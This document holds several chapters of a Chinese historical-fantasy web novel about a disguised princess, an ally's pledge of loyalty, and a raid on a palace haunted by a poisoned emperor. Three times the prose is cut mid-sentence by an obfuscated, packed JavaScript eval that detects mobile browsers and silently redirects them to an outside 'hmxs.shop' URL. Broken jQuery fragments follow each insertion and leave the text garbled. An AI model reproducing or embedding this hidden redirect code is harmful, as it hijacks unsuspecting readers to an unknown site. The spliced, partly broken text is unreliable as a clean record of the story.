“诸位对路侯有误解,”沈昱忙道,“他先前在饥荒时冒死救了在下与多位同伴,他父亲也因此而死。路侯从未挟恩图报,反而助我等隐匿身份。他还起草了诸多革新举措——”
“是啊,刚就职就组了个俊美太监团打包去吐蕃送死,闹得满城风雨,”梁裁冷冷接话,她显然也对路斐印象极差,“当时海选的官兵还问到我头上,说是错把谢丫头认成了俊美的男子,问他有没有想法呢。”
众人哄笑一番,沈昱忙补充:“那事最后也没成,不过是路侯扰乱大夏,虚张声势的一步棋罢了。”
“是啊,是啊,”庞老人笑得大声,“试问谁人不知,可不就是他要扰乱大夏,打着皇帝的名号突然加税,搅得这天下大乱——依我看,那金山银山,估计都进了他口袋!”
沈昱还想替路斐分辨,着急看向晏楚鹤——她端坐着,眉头紧锁,似乎也还在记恨此事。沈昱撇撇嘴,便换了个方向:“诸位也知道,我先前参与扳倒王家,少不了这路斐和那楚御史暗中相助。”
庞老人像是有心和他作对一样,变着法子转换话题:“说起来,这楚御史貌似也是被贬到哪里去了,这些日子没什么动静了。”
晏楚鹤的思绪被拉回来,就见沈昱从善如流:“只道是被皇帝远远打发离京——大抵是死了。”
“她倒是个难得之人,”梁裁缓缓开口,在座众人中,她对往往政务洞见最深,这些年才能带着前朝势力藏得如此安稳。
“出身寒微,顶着奸臣的名声,却做了不少实事,只可惜跟错了人,做错了官,”梁裁叹了口气,见晏楚鹤神情恍然,只当她是好奇,便有意解释道,
“御史一职,看似关键,终究难以施展拳脚。扳倒一个贪官容易,可那盘根错节的世家网络,动辄反噬。大宥当年,何尝不是亡于此?那楚御史既依赖保守派提拔,必定受尽桎梏——她醒悟得也快。”
晏楚鹤对上梁裁难得柔和的目光,答道:“嗯,她投了燕王,算是终于做了些实事。”
梁裁见她反应快,倒是有些欣喜,又因为话题不由得遗憾接道:“只可惜燕王不堪重用,若我是她,必不会跟着燕王一起回京被那些东西算计。不如就留在蜀地距地为王来的痛快。若燕王没死,天下未必会崩坏至此,这楚御史,或许也未必会死。”说着,她突然顿住,疑惑地看着上首的年轻女子,
“公主怎么了?你莫不是认得拿楚御史?”
“啊,不是的,”晏楚鹤蓦然回神,快速眨了眨眼,心脏还在胸腔莫名加速。真奇怪啊。她花了这些年才慢慢看透的东西,梁夫人居然就这样三言两语道破。
……这世界上知道她的,果然不止那路斐一个。
嘶,她要干什么来着?
晏楚鹤略定了定神,将桌上一物亲自递给梁裁,道:“这是武昌侯递来的信,他已是威武军节度使,驻扎于漳州一带,倒是适合与我们联手对付岭南节度使。”
“此信内容,与我们多方探听的消息倒是吻合。”梁裁接过细看,眉头却未舒展,“但公主,武昌侯……名声实在狼藉。即便有您与沈先生作保,我等仍难以安心。除非——”
“除非,”晏楚鹤接过话头,唇角弯起,“我说,那位楚鹤楚御史,如今也在他麾下效力,并且愿为此番合作担保呢?”
她说着,已铺开信纸,提笔蘸墨。
真没想到,她的名声在这儿还挺好用——自己为自己作保,也算是奇事一件。晏楚鹤笔下流畅,心境也随之明朗起来。
——
梅州,
如今
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997772|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烽烟散尽,顺着街巷漫开的是炙宴香味。在那程使君的宅中就地取材,整扇整扇的羊排在火焰舔舐下滋滋作响,爆出晶亮的油星,配上本地特产,梅子酱,盐焗鸡,酿豆腐,滋味浓烈,叫人闻着就开心。
谢飞藿包扎好伤口便立刻赶来,宴会正热闹着,她正要入座,一眼便见自家公主身侧坐着个陌生男子。那人一袭苍青常袍,身量极高,坐姿端正,神态却是肆意。
她早得了消息,自梅州向东直至闽地,已尽归这路斐掌握,另一半将由蜀地慢慢吞并……路斐此人财力雄厚远超预期,恐怕天下群雄鲜有人望其项背。
谢飞藿看着他与公主举盏,大口撕扯着炙肉,眼里全是伪装出来的信任,看似情真意切毫无破绽。正因如此,谢飞藿更肯定此人心机深沉。
思及此,谢飞藿压下对那喷香烤肉的念头,先寻到莫将军低声交代了几句,得了许可便找机会,终于等到路斐起身离席的间隙,她快步上前,凑到晏楚鹤耳边,声音压得极低:“……公主,您到底如何看待那个路斐?”
路斐虽是离席,不过是绕路去了后面的隔间。他心里嗤笑,晏楚鹤这位新手下看得耳聪目明,一涉及晏楚鹤便会露出破绽——他当然要给人家同主公说话的机会。
虽是这么想着,但这正在偷听的某人如今伏在墙上的神色,远不如方才装的从容。
“他是我能信任的人。”
晏楚鹤闻言,自然而然地停下手中动作,平静认真的话语让隔间里的路斐呼吸一顿,耳根微红。
“不,等等,殿下,“合作攻城是一时之盟,可天下皇位只有一个,他是夏朝权贵。合作越深,来日分割起来便越凶险,这信任……岂能轻易托付?!”
谢飞藿有些激动的声音被这宴席音乐掩盖得七七八八,但路斐却是听得清楚。
这也是他担心的。
前朝人怎么想他?怎么看待他同晏楚鹤的来往?他先前的举措惹过晏楚鹤不满——她如今对他肯定还是有几分芥蒂,好在他今晚特意准备了——
“飞藿,小心伤口,”晏楚鹤关心地替下属理了理袖口,随即漫不经心地说:“路斐的事情你不用操心,且看他今晚要跟我说什么。”
?
另外俩人俱是微微一怔。
她知道他今天一定有所行动。
见谢飞藿疑惑,晏楚鹤只是笑着又夹了块肉,“说不定是告白呢。”
34. 青岁已摧颓
话音刚落,谢飞藿还未回神,路斐的小厮突然从外面走来,垂首道:“公主,侯爷在后院备了些心意,请您移步——”
“嗯,是烟火吧?现在放太浪费了,”晏楚鹤唇角微微扬起,说出的话语看似随意,“我方才还同飞藿说,明彰今晚肯定要有什么动作。”
“公主对在下如此在意?”路斐的声音自一旁响起,他已不知何时回到室内。
“自然在意,”晏楚鹤带着预备好的表情转身,对上他的视线,“你我还要共同拿下另一半岭南,关系若一直这样模糊,于事无益。”
笑意未达眼底。路斐见过各种各样的晏楚鹤,谨慎的、试探的、乃至满心欢喜的。而此刻,这女人的目光落在他身上——那是一种掌握主动权的坦然与确信。
他心下一凛,预先的计划被打乱。
晏楚鹤倒是为他难得的反应感到快意。
她并不认为是自己在逼迫他臣服。相反,明明是路斐一直在逼迫她才对。
从写信要她带着前朝势力一同谋取岭南那一刻,从逼迫她走到台前成为前朝领袖的那一刻,不,应该更早,
他在四处散布加税的假消息,逼迫天下起义的时候,就应该想到今天这一幕。
……晏楚鹤不得不这么做。路斐这样的人,绝对不会心甘情愿地把赌注全都押在她这。
他接下来选择的,一定是和前朝保持适当的距离,随时可进可退。
可晏楚鹤并不喜欢,也不需要这样的合作者。
她虽然了解他的初衷,但她更清楚他的手段。他对她的信任恐怕不如她对他那样。
因此,她选择在今日这个时机稍作安排,当着宥朝旧部的面彻底把话挑明。他若是效忠,莫谢二人可以直接做个见证。他若是还按原来的想法——晏楚鹤不需要一个随时会离开的合作对象。
今日这局面,他只有加入,和以后永远无法加入两条路。
她在逼迫这个享受惯了权力的人在她面前放下野心——晏楚鹤相信他会的。
毕竟,光靠他一个人,不可能拿下洛阳京都。
几息之间,晏楚鹤脑海中千条思绪翻涌而过,她面上平静,期待着路斐的下一个动作——他没有说话,而是在短暂的思考,解下腰间玉佩递到她面前。
晏楚鹤自然是猝不及防,双手自觉地接过那玉佩——这件雕刻她确实眼馋了很久。
“这是我父亲遗物,”路斐的声音平稳,“今日前来,本就想告诉公主,路某人平生从未有过什么称王称帝的野心。我麾下的土地,士兵,自今日起全都献于前朝,献给殿下你——”
他用嘴型补充了她的真名。
同他的动作一样猝不及防……晏楚鹤保持着摸索玉佩雕刻纹路的动作,这让她维持冷静和兴致。
是表演吧,绝对是表演吧?不受控制的热意叫人面红耳赤。路斐显然察觉到这一点,他似乎对她方才的举动颇有怨气,此刻竟顺势又添了几句,语气极为深挚:
“能和公主的相识,是路某人此生最幸运的事情。公主先前的知遇与理解,早已令我……义无反顾,心悦、诚服。”
晏楚鹤还在脑子嗡嗡作响,一旁的谢飞藿更是瞪大了眼,乖乖!公主真是料事如神,一语成谶,这路斐还真来告白了——公主一定有应对之策吧,她立刻期待地看向晏楚鹤。
晏楚鹤预设过今日的对话会有许多很多拉扯……嘶,她本是随口戏言,没想到路斐真的会这么说。
……她能感受到真诚。
也只是一点。她不擅长在这时候分辨真心假意,眼下对话有这么多旁观者,她的身份是假的,方才的争执亦是真假参半……晏楚鹤沉吟片刻,作出礼貌的笑容:“孤的婚事关系重大——”
“我当然不奢求能入您后宫,”路斐从善如流,眼神却未退让,“能追随殿下左右,便已心满意足。”
这话说的……肯定不能是真的吧。
罢了,她的目的达到了。路斐臣服了。前朝势力大涨。谢飞藿他们也认可了路斐了……晏楚鹤总觉得哪里不是滋味。
谢飞藿尚在回味,她挪到莫将军身边低语:“路侯此举实在令我刮目相看,心生佩服……今日此举,便再无退路。他与前朝非亲非故,与殿下也不过数面之缘,怎会一见钟情至此?不——应该说是殿下的特质折服了此人,这未免也太有意思了!”
莫少隆目光复杂,心下暗道:你谢飞藿不也是如此?初见公主便那般信任,一遇到和公主有关的事情脑子都空了。
虽说如此,今日一切也令他十分惊讶。他看得分明,殿下同路斐方才互相防范、彼此算计是真,此刻的妥协——还是称之为表白亦是存了真心。他看得出,对公主而言,那男子也是特别的存在。
这念头难免催生隐忧。他神色复杂地望向晏楚鹤,突然开口:“殿下,若是夺下洛京——您会走到哪一步?”
如何处置皇位?如何处置路斐?
被考虑到的某人正似笑非笑地看向晏楚鹤,本就俊朗的五官又生动起来——哟,你这公主怎么当成这样了?下属居然敢这样直接进谏?
晏楚鹤侧过头去,她现在没空理这个又告白又挑衅又确实投诚的家伙。她正要叫莫将军容后再议——她岂会不知他担忧何事——那居于话题中心之人却又施施然开了口。
“殿下,瞧臣这记性,”路斐装作方才想起什么要紧事的样子,“为今日之会,臣特从京中请来一位故人,或可稍解殿下怀旧之思。”
见他正经,莫少隆眯了眯眼,也退回原位,他不急于一时。
一女子被路斐的侍从引出,她身量娇小,眉心一点朱砂痣,青丝绾作利落单髻,生的眉眼开阔,一副才思敏捷的样子,为人也确实如此。只是她见了晏楚鹤,确是难以掩盖惊讶。
谢飞藿恍然,道:“这位想必就是楚御史吧!殿下曾言,和楚御史是通过书信的友人。没想到今日有缘能见一见真人,久仰久仰!”
晏楚鹤只觉得额角微紧——她一时噤声没敢说话。她不知道路斐在搞什么名堂。他将令狐暄带来是何用意?!正心念电转,却听路斐已自行否认。
“啊,并非楚御史,这位是从前宫里的内训史,令狐女官。公主曾相识的,”路斐忙道,随即变脸似得挤出伤心样,语气不见得有多沉痛:“楚鹤,楚御史她……已于日前不幸身故。临终之际有紧要之言托付于公主,恳请借一步说话。”
晏楚鹤猝不及防接过这对手戏,是一点泪都飙不出来——好在这在旁人眼里,就是公主心里难过仍旧顽强。她向令狐暄微微颔首,便带着路斐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008971|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
疾步转入旁侧隔间。
合拢门扉。
“路明彰,”
晏楚鹤如今说话总是这样紧绷。
“我在,”路斐笑着,应得轻而快,“怎么了。楚——”
第二个字还未出来,晏楚鹤已神色慌乱,几乎是立刻伸手堵在他唇前,偏偏在肌肤相触的一瞬间反应过来——这家伙绝对是故意让她这么做。
……不愧是他,方才平复的怒意又一次升起,晏楚鹤不想废话,便开门见山道:“令狐暄,她怎会随你到此地?她的主子可是那个贵妃——你不了解刘霜清,如今的局势,她绝对有可能——”
“放心,她已经失去成为敌人的资格了,”路斐的声音平稳落下,“你是她如今的唯一选择。”
——
岭南既已平定,晏楚鹤计划挥师北上,打着复辟宥国的名号,直指洛阳京都。
而路斐,确实如他所说,在宥国旧部面前许诺,将部分精锐兵马并粮草辎重留予晏楚鹤,便与宥军分道扬镳——他的目标是夏朝革新派。那群人对前朝极为抗拒。与其任其落入他人之手,不如由他以威武军节度使,户部侍郎,革新派代表的身份先行收拢,以免成为后患。
天微微亮,晏楚鹤亲自送他至城外。
“殿下,一路珍重。”晨雾中,路斐看着她,桃花眼弯弯地笑着。晏楚鹤瞧不真切。
路斐此时的离开让她有些……害怕,她不可避免地想象着未来兵戎相见的情景。哪怕路斐眼下的所有举动都在强调自己的臣服。该怎么说,昔日那个目中无人的桀骜公子居然臣服于她。她仍觉得欢呼。
百感交集,她顾虑的事情太多了,嘴边的话转了又转,变成寻常的叮嘱:“此事非同小可,你务必谨慎——”
“放心,”路斐突然打断,他将她那点游移的疑虑尽收眼底,索性直言,“我确实还在生气。”
晏楚鹤微微一怔,抬眼看他,却见路斐目光沉稳,不再避让:“我说,我承认被你反将一军到这样的情况,我有些不甘。
但既然这么做了,我就绝对不会反悔。”
他还要再说,却瞥见晏楚鹤身后不远处,那位莫将军已经跟了下来,看他的目光可不算友善。路斐同样心下不快,啧,留给他说话的空隙不多了。
晏楚鹤察觉他神色有异,正要回头,却忽地被握住手臂,
下一瞬,她被拉进一个温热的怀抱。
不算厚实的衣衫下,一切都清晰可感,比如掌心的薄茧,贴近的体温,一如初见时他身上的药香。晏楚鹤并不讨厌,但总归有些羞赧,心想抱一下便好——她正要退开,那环绕的手臂却收得更紧了些。
晏楚鹤不得不抬头,在看清楚路斐有些委屈的神情后,方才的幽怨也变成无奈,也许他也像自己一样需要这个拥抱吧……她自己也不想让这个拥抱结束。
嗯……他和她对上的视线的此刻,在想什么?
——路斐一开始只是想拉住手差不多得了。毕竟已经来不及说什么了。
但反应过来的时候已经不一样了。可能是因为晏楚鹤比他还要小上两岁,她眼里的担忧,对他的不信任——他不想把这些东西也留给她。
“不要勉强自己,就算暴露了失败了也没关系。
我不希望你死。”
35. 不及少年日
月末,晏楚鹤一路北上,几无阻滞,四方豪杰归附者甚众。而哪些强藩节镇则是按兵不动,作壁上观。大概是因为他们身为夏臣,名不正言不顺,加之那景安帝遇害后的传闻极为诡异,恐怕真有妖术。诸如此类种种原因,倒是叫晏楚鹤奇袭洛阳,抢了先。
令狐暄对京城,尤其是夏宫路线极为精通,在她的辅助下,夜袭夏宫的计划周密有序。宥军兵分数路,目标直指景安帝尸身所在的内殿。
在传闻中,景安帝被昭宁公主谋害,身首分离暴毙多日,其尸身却仍能发号施令,传信于殿外,凡进入内殿者却无一生还,实在诡异。
晏楚鹤对此传闻亦是怀疑,她正带着分队从侧门入宫,走小路,突然一个士卒突然疾步上前,是莫少隆的亲信,“报——方才莫将军在偏殿擒获一宫妃,行踪诡异,挣扎得厉害,扬言有要事要面见殿下!”
晏楚鹤眉心微蹙,她深知宫人的处境,故此行虽分兵突进,每队皆有可靠将领与一名女将随行约束,严令不得侵扰宫中妇孺内侍。
自景安帝暴毙,京中高官谁也不敢亲自探究真相,只好派宫人一个个进入那内殿送死。晏楚鹤便于他们相反,摆出一副要亲赴内殿的态度,是以宫中众人见宥国兵马到来,纷纷退避让道,无人抵抗。
这般挣扎的古怪女子——她必是执意要见她的。
晏楚鹤当即带上令狐暄折往偏殿。只见一华服女子云鬓半挽,仅以素簪固定,面色似操劳过度,唯独一双凤眼仍亮得灼人:“能见到殿下,真是太好了。”
故人重逢,晏楚鹤亦是不觉间眼眶发热。
“贵妃娘娘快请起。”晏楚鹤展示了自己的态度,亲卫便也把激动的令狐暄松开,暄儿见了旧主,立刻要上前搀扶,却被刘霜清甩开。
刘霜清恭敬地——晏楚鹤记忆中,她只对景安帝这样恭敬过:“暌违多年。妾身初入宫闱时,便常得永宁公主照拂。天佑贵人,公主安然至今……这天下,本当重归宥室。恳请公主铲除夏国邪君遗祸,还四海清平。”
刘霜清巧妙地改编了她和晏楚鹤的过去交往,又说一番恳切的投诚之言。晏楚鹤心下了然,便请她坐下一叙。
攻入不急于一时,刘霜清找她,定是知道这内殿的情况。
“那日,吾儿窦沅被传入内殿。”刘霜清语气平静,不起波澜,“她识破其父计划后……大义灭亲。妾身匆忙赶去,原以为那人肉丹药之事便就此结束。不料——那景安帝尸身陡生异变,殿门忽然被紧锁。殿内宫人,窦沅,还有此后进去查探的宫人,皆是有去无回。”
晏楚鹤认真地听着,余下之事她也能推知:贵妃势单力薄,除了自己也进去送死外无能为力。宫内各个世家势力盘踞,皇帝虽死,“旨意”却仍不时传出……一路走来,大夏宫内已经秩序崩坏,人心离散。
刘霜清平静地继续叙述宫中的血色暴动,这位见惯杀戮,向来以铁石心肠著称的贵妃,此刻也显得凄楚可怜。
不过,凄惨的表象下,刘霜清只觉得自己从未有过这样冷静的时刻,她正细细审视着晏楚鹤的每一处变化,每一个动作。
她将手里一直紧握的纸卷递上:“妾身从景安帝贴身的道士下手,逼问出了这张丹方,据宫人所言,那皇帝尸身反复念叨‘宥国’、‘杨氏’等词。宫中方士疑心是宥国玉玺的诅咒。
恐怕——唯有身怀玉玺的宥国正统,殿下您,才能破除此局。”
“妾身愿率旧部,倾心归附……希望殿下可以铲除昏君。”她言辞恳切,目光却已低垂,不再与晏楚鹤对视。
刘霜清的内心是复杂的,可以破局的是宥国公主,而不是晏楚鹤。她今日认出了晏楚鹤,过去的情谊下,她当然希望晏楚鹤活着,但是刘霜清不希望前朝公主活着——可惜棋至中盘,她已别无他选,只能再装装可怜,为自己谋取更多生机。
嗯,晏楚鹤静默聆听。贵妃如今投诚于她的缘由,她已经从路斐那里知道了,她看得出,贵妃不甘心,
是的,刘霜清不甘心。
待她被带走安置时,转身背对晏楚鹤的刹那,眼底那点强压的不甘便再无掩饰。她回忆着晏楚鹤今日的风姿,往事幕幕,骤然翻涌。
是从什么时候开始的?
长子窦怀谦中毒时,她便清楚意识到如今局势,不能再用常规手段去等待权力的高位。追查真凶不过是徒耗时机。
她利用多年经营的人脉与眼线,精心布局。买通皇帝身边的小道士下毒。更重要的是,为自己铺路,一个因丧子而彻悟、感通神佛的悲恸母亲。
是的,她要一手扶持新的宗教。过去的那些几乎早被景安帝糟践成了敛财弄权的工具,弄得百姓怨声载道,这反倒为新的教派提供了丰沃的土壤。
恰到好处的天象、义举换得的民心、由她接过皇位的时机——刘霜清耐心等待着,她要登上新宗教的神坛,将人心与权柄一并收拢。
在此之前,每一步都如履薄冰,每一步都需要计算得精密隐蔽。
一切都已近在咫尺。
谁能料到,昭宁,窦沅,她那傻女儿!果然是个没脑子的莽儿!与父亲合谋戕害兄弟已是大错。
她居然当着那么多人的面,亲手把她父亲杀害了。
若仅止于此,或许尚有转圜余地。可此事已被有心之人刻意渲染、四处传扬。她们母女,早已是世人眼中铁证如山的弑君逆党。
若非晏楚鹤此刻赶到,宫外的人迟早攻进来。他们未必敢动皇帝那个妖尸,但是一定会为了平乱勤王的名声,争着抢着杀她们母女。
——
一路走来,确实和刘霜清描述的一样。
她贴身带着的那块宥国玉玺此刻仿佛有千斤重量,压得人喘不过气。
宫里的人,还是她的下属们,都开始深信这枚材质特殊,精妙绝伦绝非人工的玉玺有着非同寻常的能力。传闻中的“宥国玉玺”作为赋予夏朝皇室诅咒的存在,同样有着破除邪祟的能力。
可惜,晏楚鹤手上的这块是假的,是她捏造的。
她的身份也是假的。
脊背发寒,晏楚鹤当然害怕,她除了曾做过灵异的梦外,哪里见过此等怪力乱神之事?可如今真的到了这里,听到了景安帝绝非人类的声音,闻到了成百上千尸体血肉腐烂的恶臭……无人生还的残剧真实存在。
紧锁的,仅够一人通过的殿门——她怎么敢进去?
可是她手上握着那玉玺。
周遭一片寂静,这些宫人、兵士无论哪个势力是敌是友,全都屏息垂目,恭敬地为她让路……人在极度紧张时时,思绪总会疯狂回溯,试图从破碎的过往中寻找自救的方法。晏楚鹤想的是——回到陇西,去河里看看能不能捞出真的永宁。
哎,夺人身份,确实该替人做事。她身后有下属的信赖,也有刚刚收服的人心。景安帝生前死后皆是恶贯满盈,她如果能亲手解决,想必,今后再也不会有人怀疑她的身份。四海归一就在眼前。
如果真的能这样就好了。
事实上,晏楚鹤对里面的情况一无所知,试探的机会寥寥无几,能够依仗的火药——携带这些进去的宫人也没能生还。
五指收紧,发凉的刀柄让人冷静,晏楚鹤最擅长的还是使刀,她精通挥刀的每个角度与力道会造成什么样的痕迹。尽管初衷并非如此,但此刻已别无他选。
【我不希望你死。】
回忆仍在继续,脑海里莫名闪过的话语让她情不自禁地笑了,是个难看的苦笑。
路斐既然和刘霜清提前交谈过,他肯定知道这个情况吧。这样看来,这句叫她不要死也是谎话。
“殿下万金之躯,怎能亲涉险地?末将愿代殿下前往!”身旁,下属的话语铿锵有力,反而助长了晏楚鹤此刻的思虑。
这就是路斐的计划吧?他此刻在何处?是不是正如同她这阴暗的揣测一般,躲在哪个角落里冷静地等待着某个忠臣莽将主动请缨替她去死?
若是这样,这家伙到底没变啊……晏楚鹤无暇纠结这点,只挥手拒绝了莫少隆的提议,转身面向众人,高举玉玺,声音不容置疑:“此地果然是邪祟凶戾……传令,于殿前设香案,先依古礼净殿。令狐内训使,你带人速去查阅宫中旧档,将祛邪所需的全套仪轨都寻来!”
她胡诌了一堆,不过是不过是缓兵之计。
这里味道实在扰人心神,晏楚鹤索性闭目凝神,抛开所有杂念,路
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017736|190576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
斐的性格,既然知道了又要她过来,或许是在什么时候暗示过她破解之法也说不定。
……完全没有头绪。
“殿下,不必心急。”梁裁的声音在一旁响起,递过一盏清水,眼中是全然的信赖。
信赖。
晏楚鹤哑然失笑,她何时竟变得,需要全然仰仗他人了?初时确实借了永宁的身份,后面的桩桩件件,她都是实实在在靠着自己的本事。
方才,她居然真的陷入了唯有宥国血脉才能结束一切的荒诞骗局——有趣,太有趣了。
靠自己的知识去分析,布置计划,这才是晏楚鹤一贯的作风。不要纠结于回忆,而是专注于眼下:
不谈皇帝死了仍能说话,进去的这么多人都没出来,是被杀害了?还是失去了行动能力无法出来?还有现在,靠近殿门时突如其来的头晕目眩、思绪混乱,已经远远不是恐惧导致的生理反应。
这里的环境确实奇特,殿门紧闭,通风极差……
是了,非为鬼神,乃是毒。前朝玉玺上有毒,景安帝服下的丹药有毒,他自身又患病。一个长期服毒、体质异变的躯体,在死后置于这般空间,毒素在无数尸身下变异、发酵,甚至滋生出能惑乱神智、侵蚀肌体的毒瘴?
“梁先生,检查火药……其余人备好厚布浸透碱水,掩住口鼻……”思路已经明朗,晏楚鹤立刻做了番安排,又指了两队精兵,“切记,不得直面殿内风气,保护自己为先,如遇敌人疾战,不可缠斗。”
再拖下去,这毒恐怕还会蔓开。晏楚鹤尽力在最短的时间里做了最周全的准备。
之后,她深吸一口气,亲手推开了那扇沉重的殿门。
更浓的血腥味扑面而来,
门轴嘶哑的霎那,一颗面目狰狞的头颅滚落在脚边,脸上油腻的横肉已然猥琐——是景安帝。他确实死透了。
那么,在殿内行杀人之事的,便另有其人。
只见一名华服女子立于血泊尸骸之间,脸上血污斑驳,唯有一双与刘霜清极为相似的眸子极为癫狂。窦沅,她居然还活着。
同她一样的还有几名道士、太监、宫女模样的人,眼神涣散,面容扭曲,正发出不似人声的嚎叫,手持各种利刃,如野兽般扑杀上来!
晏楚鹤控制臂弩连发,却见中箭者身形不过一顿,恍若未觉,依旧嘶吼着扑来。丢下的麻药也全然无效!
躲闪间还需要避开地上横陈的尸首——这些宫人面上大多凝固着惊恐与扭曲,恰恰印证了她的推断。
此毒看来能让人变得癫狂,嗜血,食人。
他们做了准备,只是可惜了这皇家宫殿。
谢飞藿会意,不再迟疑,将火药直接掷了过去,气浪与声波暂时搅乱了对面的攻势。趁此间隙,莫少隆熟练地配合着,他与下属快速挥刀切入敌阵。
这宥国刀法简练至极,专挑关节韧带处下刀,不求立毙,只求最快速度瓦解对方行动能力。莫少隆是此技大成者,他手中大刀挥出浑厚弧光,格挡劈砍,为晏楚鹤牢牢守住侧翼——她得以离龙椅更近一步。
那里有扇景安帝藏药的暗门,毒源说不定就在那里。她心念电转,避开窦沅不成章法的袭击,终于来到龙椅之后。
那暗门竟未锁死,手指触及,微微一用力,便“咔”一声轻响,向内滑开。
那里是一间狭窄的密室,提供光源的油灯早已熄灭,昏暗中,只有一个的身影立于室中——无头?
想来是皇帝的尸体,毒瘴的关键,必须极快处理掉。不安感在加剧,晏楚鹤眯了眯眼,全身绷紧,正待动作——没有任何声响,没有任何诡异的声音,那头凭空出现了。
一袭自带微光的白袍,不染尘埃,晏楚鹤发觉这个人影的变化,身姿挺拔如月下孤松,那线条轮廓,她再熟悉不过。
她许久没梦到这个影子了。
晏楚鹤呼吸一滞,握刀的手僵在半空,回过神来,
周围的人,景象,不知道什么时候都消失了。周遭的厮杀声、血腥气、摇曳的火光……所有人,所有景象,不知何时,已消失得干干净净。
仿佛天地间只剩下这间密室,她,还有这个影子。
又是梦吗?
36. 无复故人杯
“几年不见,”那白袍男子转过身来,面孔较之路斐要要更为成熟几分,眉眼间除了因岁月增加的细纹,那些戾气也被一股更为柔和的气质所取代,声音是她熟悉的温润,“你长高了,楚鹤。”
不会错的,确实是他。
晏楚鹤怔在原地。
重逢。真正意义上的重逢。直到这一刻,晏楚鹤才如此清晰地意识到了路斐和“神仙哥哥”——两人原来有这么多的不同啊。
想说的话忽然变得很多。
她很想念他,想念死去的父母,想念从前在益州有亲友陪伴的寻常岁月。
她这些年来经历了很多,手艺突飞猛进,还到京城当上御史,仇也终于报了。
她现在对情爱有了新的理解,也有了另一个憧憬的对象,那人除了长相以外,和恩师却是完全不一样的两面。
也是在那人的怂恿下,她踏上了现在这条伪装身份,造反弑君的路……话涌到嘴边变成哽咽。
恩师若知道这些,估计会很反对吧?
“你是我最骄傲的学生。”
突然的话语像是在回答她心中那些顾虑,晏楚鹤慌忙擦拭眼前冒出的泪水:“等等!不要走——”
那道素白的身影已如烟散去。
晏楚鹤愣在原地,突地心口一紧——方才因毒伤而衰竭迟缓的心脏,此刻竟快速搏动起来。胸腔莫名的温热,就像那人给她的感觉一样。
什么最骄傲的学生……笨蛋,他只有她一个学生啊。
白雾转瞬即逝,晏楚鹤缓了口气,强行压下了翻涌的心绪。
……这个梦是对她覆灭大夏的奖励吧?她扫视四周,一切都和龙椅旁的密室没有差别,黑暗,安静,唯一的不同是——没有门。
她正思索着,一道冷光毫无征兆地袭来,堪堪擦过耳畔!
毫无痕迹——气味,呼吸,声音,动作,空气中找不到这道暗器的来源。晏楚鹤不由得倒吸了口气,全神贯注地防备着。
又是三道寒芒,自同一方向疾射而来。
她眸光一凛,身形已动。这里既是她的梦,她便该是随心所欲,主宰一切才对。
下一瞬,她果然见到了这位袭击者。他的身体早已腐烂不堪,身上穿着的华服更是残损。晏楚鹤手起刀落,轻而易举地砍掉了对方的脑袋。
她希望一切就此结束。但梦境不如她所愿,骇人的景象出现了,那断颈处的血肉疯狂蠕动、生长,不仅瞬息愈合,更重塑出一张更为年轻、威严的面孔——剑眉深目,气势逼人,倒是酷似一个枭雄帝王。
晏楚鹤自己都有些惊讶,她居然能在看到这张脸的第一眼就从蛛丝马迹认出他是谁,
景安帝。
“不愧是宥国公主,这么快就摸到了梦的门槛,可惜,这也是我的梦。”记忆里苍老的声音随着声带的长出变得雄浑。晏楚鹤后撤了两步,保持戒备。
“桀桀桀……”他嘻嘻怪笑的样子,完全毁了好不容易重新长出来的脑袋所改变的气质,“放心,我们要在这里作伴很久,你有的是时间……慢慢练到我这种地步。”
什么意思?
他抬手打了个响指。
四周骤亮——竟是他自己的宫殿,金碧辉煌,雕梁画栋,远比现实中更加奢靡逼人。
“你心中的疑问让人一目了然,答案很简单,你和我一样陷入诅咒,都成了这个梦境的养料——等等,”
他忽然停下,盯着晏楚鹤的脸,眼中闪过一丝意外。
“你很眼熟。”
他不认识她?
晏楚鹤皱眉,这个人给她的感觉……像是景安帝,又不大一样。
只见这男子保持着惊讶的神情,竟然直接将手插进自己的头顶,高速搅动起来。与此同时,一个苍老的声音发出痛苦的尖叫——那才是晏楚鹤熟悉的景安帝。而作出这样动作的男子,他笑着看向晏楚鹤,雄浑的嗓音还在和她对话:“抱歉……虽然在此地可随心所欲,但我不想随意对待这身躯里寄存的任何一位后代。”
后代?
答案呼之欲出。只见这人将手抽出来,脸上的肌肉因暴怒而微微扭曲,同晚年的景安帝愈发相似。
“原来是你啊,楚御史,”
景安帝的手抽了出来,那些血肉迅速复原。他嘴里每个字都像从齿缝中碾出。
